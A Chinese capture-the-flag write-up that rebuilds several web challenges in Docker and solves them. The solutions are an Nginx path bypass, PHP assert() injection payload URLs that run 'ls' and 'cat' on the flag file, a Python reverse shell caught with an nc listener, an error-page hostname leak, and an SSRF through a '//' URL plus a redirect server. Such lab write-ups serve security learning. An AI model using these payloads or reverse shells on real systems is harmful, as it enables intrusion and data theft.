CTF-imaginary
CTF-imaginary
MooSeCTF-imaginary
这一系列ctf赛题都需要自己搭建来复现
Docker复现
Dockerfile
- 打开终端,导航到 Dockerfile 所在的目录,然后执行以下命令构建镜像:
1 | docker build -t ctf-imaginary . |
(ctf-imaginary是给镜像起的名字)
- 运行容器
1 | docker run -d -p 80:80 ctf-imaginary |
docker-compose.yml
- 打开终端,导航到 docker-compose.yml 所在的目录,然后执行以下命令启动服务:
1 | docker-compose up d |
这会根据 docker-compose.yml 文件中的配置启动所有定义的服务
readme
NginxURL解析规则
在Nginx的配置文件中
1 | server { |
其中
1 | location / { |
if (-f $request_filename) { return 404; }
:检查请求的文件是否存在。如果请求的文件存在(-f
表示文件存在),则返回404状态码。
这意味着如果请求是针对存在的文件,则返回404错误,也就是说不能直接访问flag.txt
- 这边利用Nginx的URL解析规则来绕过限制并访问静态文件
Clusterbomb集束炸弹
用url编码的字典fuzz来爆破
- 先尝试一个点爆破,不行就再加一个$
- 然后让它一直爆破 爆破失败的状态码都是400
- 然后在
%2f%2e
的时候成功200
- 这样子就能利用Nginx的URL解析规则来访问静态文件
flag.txt
了
Dockerfile
奇葩的做法,Dockerfile里就有flag,出题者的失误
journal
搭建
附件只有dockerfile,这一题用clash代理开终端试试
- 任意选择一个打开终端
- 导航到dockerfile所在的目录
因为是复现赛题,附件里没有flag.txt,所以首先要在challenge目录下手动创建一个flag.txt
- 然后构建镜像
1 | docker build -t journal . |
ps:别忘了点点,命令末尾的点表示当前目录
- 然后运行容器
1 | docker run -d -p 6180:80 journal |
- 检验容器运行
1 | docker ps |
在Docker Desktop中也可以查看正在运行的容器
题解 aeert()函数rce
先来看源代码找突破口
注意到有assert函数
,可以利用一下,用来远程代码执行(rce)
关于代码执行的危险函数:
- https://www.cnblogs.com/M0urn/articles/17761217.html
- https://dydong.ltd/2022/09/11/%E6%97%A0%E5%8F%82RCE/
解读:
1 | assert("strpos('$file', '..') === false") or die("Invalid file!"); |
1 | strpos('$file', '..') |
关于
assert函数
的详细解读可以参考php手册https://www.php.net/manual/en/function.assert.php
1 | 检查一个断言是否为false |
那么怎么利用assert()呢,这边我们可以在Docker里做个Debug
- 找到index.php文件(要学会看Dockerfile源码)
- 我们可以添加一个变量a,来记录assert里面的内容,并打印出来 方便查看
保存后回到我们的网页,可以看到多出来一行是我们echo的内容
注意到我们提交的file位置在这儿,后面又有’
那么如果我们可以构造引号闭合,后面拼接上php代码
再把最后面原先的引号部分用//
注释掉,是不是就可以实现RCE了呢?
闭合一下:
像这样子设置file
,欸奇怪怎么还是报错呢
噢用来是没有加;
,这是非常重要的小细节
正确的闭合 注释方法:
这样子就不会报错了,说明闭合成功,构造一下php代码:
由于assert函数内其实还是条件运算,所以用&&来拼接
重点:&&
因为&&会被当作是特殊字符,所以不会被URL编码,换句话说它会被当成类似注释符
一样的东西,因此需要我们手动给它URL编码一下,才会被作为字符串来连接语句
纠正:准确的来说,&作为拼接字符串的一个字符,&后的部分可能会被视为参数,因此不宜直接拼接,应该url编码一下
编码一下
就能执行phpinfo函数了,那么其他php代码自然也能执行
例如:
1 | http://localhost:6180/?file=file1.txt', '..') === false %26%26 system('ls /');// |
发现被重命名后的flag.txt(源码中有对flag.txt进行重命名)
- 读取:
1 | http://localhost:6180/?file=file1.txt', '..') === false %26%26 system('cat /flag-iarAQZEJvlGa6Te5Lfe7.txt');// |
- 成功拿到flag
p2c_release
搭建
搭建环境
- 先来搭建一下环境
1 | docker build -t p2c |
- 运行一下
1 | docker run -d -p 6180:80 p2c |
搭建成功
ps:由于是本地复现,所以需要我们提前在根目录下准备好flag.txt文件噢
写入flag.txt
写入flag.txt的方法有很多,这边简单提两种
法1
创建镜像前直接在文件夹下创建一个flag.txt
法2
在Docker Desktop的Exec中用命令来创建flag.txt
- 使用
echo
命令
1 | echo flag{MooSe_test_flag} > flag.txt |
(如果 flag.txt
文件不存在,它会被创建。如果文件已存在,内容将被覆盖。)
注:如果是想将flag追加到现有的 flag.txt
文件中的话,可以使用 >>
符号:
1 | echo flag{MooSe_test_flag} >> flag.txt |
题解·反弹Shell
首先分析后端源码吧
- 锁定关键代码
1 | def xec(code): |
这段xef()函数的作用是什么呢 简单地说就是
- 将表单输入的python代码插入到main函数
- 以哈希md5命名创建一个临时文件 并运行刚刚的代码
- 最后再删除文件
具体是怎么样子的呢,我们可以来本地测试一下:
【为了便于调试,先把remove代码注释掉】
任意输入一段代码
然后在Docker Desktop里找找看,可以验证表单传入的代码是否被拼接到main函数中
既然这样,传入的代码就可以执行,意味着可以rce
但问题是这道题没有可以回显的函数
我们学习一下反弹Shell的使用:反弹shell汇总,看我一篇就够了-CSDN博客
在这一题中,由于我们是本地用docker复现的环境,所以被操控的就是我们自己的主机ip,用云服务器来作为攻击机来监听并实现“操控、回显”
Python实现反弹shell
:(脚本可用hacktool生成)
- 先再我们的服务器上开启监听:
1 | nc -lvnp 9895 |
(记得提前打开端口号)
- 然后在受害者(我们自己的主机)上运行命令:
- 也就是在表单中执行python代码
命令一
1 | import os,pty,socket; |
- 监听成功!
命令二
或者我们本机上也可以用以下命令:
1 | import os |
- 成功监听!
在我们的服务器(攻击机)上成功监听到主机(受害机)之后,我们就可以rce并且得到回显了,如下:
- 列出当前目录的文件
ls
- 读取
flag.txt
1 | cat flag.txt |
所遇问题
- 云服务器防火墙没有关闭导致监听一直没有反应
- 只能说我耗了三个小时的问题直接被Wells三分钟解决
反弹Shell
的python命令不知道怎么构造- 虽然GPT也能写,但后期还是要自己会写
- 先看懂 再会用 后学写
反思
由于从代码中我们已经知道表单处的python代码是可以被执行的,只是没有回显,自然而然想到反弹shell的使用,那么下面就是反弹shell的操作部分了,由于之前对反弹shell只停留在理论层面,所以真正使用起来还是踉踉跄跄
总而言之
这道题最大的问题就是:
- 分析代码 看懂函数 从而发现表单内的python代码可执行
- 然后就是 因为没有回显,想到要用反弹shell
- 最后就是要会操作反弹shell
crystals_release
搭建
- 先来搭建一下环境
1 | docker build -t crystals . |
- 运行一下
1 | docker run -d -p 6274:80 crystals |
搭建成功
- 写入flag
由于是复现,所以要手动写入flag
这题的flag是主机名,老实说刚开始折腾了半天 都不知道怎么把主机名编辑成flag
狗屁通:需要使用环境变量文件 (.env)
创建一个 .env
文件,并在其中定义 FLAG
变量:
1 | FLAG=flag{MooSe_text_flag} |
确保 .env
文件与 docker-compose.yml
文件在同一目录中。
改了很久都不行,才发现自己一直用的是docekrfile起环境,被自己蠢到了
docker-compose起环境:
1 | docker-compose up -d |
题解
查看附件源码, 这道题用的是Web 应用程序框架Sinatra
- 发现在
docker_compose.yml
中有关于flag的代码
1 | version: '3.3' |
- 说明
主机名
就是flag
那么问题就转化成如何拿到主机名hostname
,由“经验”,Web 应用程序可能会通过错误消息暴露信息。
也就是说,我们可以发送一个格式错误的请求来触发错误,然后服务器可能会用一个非常冗长的错误消息来回应我们,这个错误信息里可能会含有我们需要的
hostname
这里还有一个细节就是:此 Web 应用程序中的唯一路由是 /
,可以作为切入点来构造格式错误的请求
- bp抓包一下,准备发送格式错误的请求
- 这边由“经验”,给
/
后加一个<
,因为格式错误 肯定会报错 - 或者在没有类似经验的情况下,保险做法可以用点
fuzz
来测试
- 成功拿到flag
难题
- ⭐ 从
docker_compose.yml
源码中发现flag
是隐藏在主机名
中 - ⭐⭐⭐ 由“经验”猜想:Web 应用程序可能会通过报错暴露信息(
flag
) - ⭐⭐ 从
app.rb
中得知/
是该Sinatra框架的唯一路由,联想到在/处构造错误请求来报错
反思
这道题思路其实就跟上面总结的难点一样,有想法就很自然 没经验就白搭😥
不过其实复现题目的时候,时间花的最多的地方 还是写入flag
- 如何把主机名设置成flag,也是学到了
readme2
搭建
打开附件,只有一个app.js和Dockefile,那就创建镜像起环境吧
这道题的dockerfile里没有port,所以不能直接由镜像创建容器!
要用命令行设置端口号
1 | docker run -d -p 4000:4000 readme2 |
- 成功搭建
题解
先来看一下源码
1 | const flag = process.env.FLAG || 'ictf{this_is_a_fake_flag}' |
简单地说, 这个应用程序用Bun框架为 2 个 HTTP 服务器提供服务,其中
- 端口 3000 是内部的,无法直接访问
- 端口 4000 是外部的,可以访问
再细看源码 3000端口的服务器:
- 若请求的路径名以/开头,返回’Hello, World!’
- 若请求的路径名以
/flag.txt
开头,则返回flag
但是我们只能访问外网的4000端口,并且4000端口对访问flag
有很多限制:
- 如果请求的URL包含
flag
字符串,则直接返回403 Forbidden响应(Nope
)。 - 如果请求头(
headers
)中的任何键或值包含flag
字符串,也返回403 Forbidden响应。 - 如果请求的完整URL(
href
)包含flag
字符串,同样返回403 Forbidden响应。
- 如果上述条件都不满足,它将请求转发到第一个服务器(运行在
http://localhost:3000/
),并保留原始请求的方法、头部和体(如果有的话)。
因此,我们需要绕过外部服务器
的层层检查把请求发送到内部端口
来拿到flag
Request: 请求:
1 | GET // HTTP/1.1 |
Respond: 响应:
1 | HTTP/1.1 500 Internal Server Error |
可以看到路径//
会导致错误
我们来添加docker日志,再来查看一下
只要在app.js中加入:
1
2console.log("2:")
console.log(url)
从日志中我们可以看到错误信息:
ds
意思是URL存在解析错误
再尝试往//中加入其他字符:
1 | GET //foobar HTTP/1.1 |
1 | ConnectionRefused: Unable to connect. Is the computer able to access the url? |
- 这里我们注意到:foobar被当作是URL:
http://foobar/
- 多了http协议
- 而且发送了请求
可以阅读一下**有关 API URL
的 mdn Web 文档**
1 | new URL("//foo.com", "https://example.com"); |
什么意思呢?也就是说 例如我们在url中输入//baidu.com
,它会被当作是相对URl
,进而进行访问
那么我们就可以利用302跳转,写入一个重定向的服务来跳转到http://localhost:3000/flag.txt
- 再起一个docker服务用来重定向
下面我们的思路是:用 Docker Desktop 创建一个新的空白容器B 并在其中编写 PHP 代码进行重定向,那具体怎么做??拷打狗屁通即可🤪
具体步骤可以参考:
- 先创建一个文件夹,创建一个名为
dockerfile
的文件,写入:
1 | # 使用官方PHP镜像作为基础镜像 |
- 创建 PHP 重定向代码: 在同一文件夹中创建一个
index.php
文件,并写入以下代码:
1 |
|
- 构建 Docker 镜像:终端导航到文件夹下
1 | docker build -t redirect-php . |
- 创建容器B,这边我设置访问端口1864
然后我们在url拼接上B容器的ip,划重点:必须是ip!!!,不能用localhost!!!
- 或者用bp抓包也是一样的
- 然后我们发现显示的是
/10.194.2.248:1864
?是不是有点怪?按理说http后面是两条/才对,于是联想到再手动加条/- 或者这里没有想到的话 我们回到容器A的日志里检查拼接过去的地址(即容器B)是否被当作是url请求
- 加上
/
后成功访问到容器A的3000端口的flag.txt
补充:关于本机IPv4ip:
终端输入
1 | ipconfig |
反思
- 先用localhost:4000访问到A容器,也就是赛题的环境
- 再通过url拼接来访问B容器 由于此时的localhost是相对容器A而言的,所以应该用ip来访问B容器,即
10.194.2.248:1864
- 我们要读取的flag位于A容器的3000端口,同理,此时的
localhost
就是在A容器下的 要访问到A容器的内网3000端口 于是构造php代码重定向到localhost:3000/flag.txt
如果是正式比赛时,则应该用云服务器的域名来拼接url,而php代码中的重定向直接执行题目ip的3000端口,反而比较简单